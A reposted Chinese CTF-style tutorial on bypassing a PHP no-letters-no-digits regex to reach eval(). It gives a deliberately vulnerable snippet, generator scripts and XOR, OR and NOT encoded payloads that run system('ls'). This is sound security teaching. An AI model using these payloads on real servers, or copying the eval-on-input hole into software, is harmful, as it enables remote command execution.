欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 家装 > RCE-无字母数字绕过正则表达式

RCE-无字母数字绕过正则表达式

2024/10/26 3:23:43 来源:https://blog.csdn.net/2301_78549931/article/details/141139630  浏览:    关键词:RCE-无字母数字绕过正则表达式

目录

一、源码展示

二、分析源码

2.1异或运算

2.2或运算

 2.3取反运算


一、源码展示

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){die('hacker');
}
eval($code);

二、分析源码

根据源码,我们发现它过滤了字母数字大小写,所以我们要想实现代码执行,得另想方法构造代码执行。

注意:因为我们使用的是eval执行代码,所以我们传递的参数末尾必须加封号(;)

2.1异或运算

我们可以通过一些不可见字符进行异或运算得到我们的字母(例如s=urldecode(%08)^urldecode(%7b)),这样是不是就绕过了waf

所以我们只需使用上述方法构造出system("ls"),便可以执行命令,这里可以编写一个简单的php脚本来获取。

1.获取所有字符的异或运算结果。

<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

得出以下结果(截图不完整):

2.接下来我们可以使用py脚本来获取我们想要构造的payload:

import requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

运行结果为:

("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%0c%13"^"%60%60");

 然后将payload通过get传参至url地址栏中 

命令执行成功!

2.2或运算

 与异或运算思路相同,只需在原本的脚本上稍微修改一下

<?php$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

 得出以下结果(截图不完整):

 接下来我们可以使用py脚本来获取我们想要构造的payload:、

# -*- coding: utf-8 -*-import requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

 结果如下:

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

 然后将payload通过get传参至url地址栏中 

命令执行成功! 

 2.3取反运算

取反的话,基本上用的都是一个不可见字符,所有不会触发到正则表达式,我们一个php脚本就可以了

<?php
var_dump(urlencode(~'system'));
var_dump(urlencode(~'ls'));exit;

结果如下:

 (~%8C%86%8C%8B%9A%92)(~%93%8C);

  然后将payload通过get传参至url地址栏中 

 命令执行成功!

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com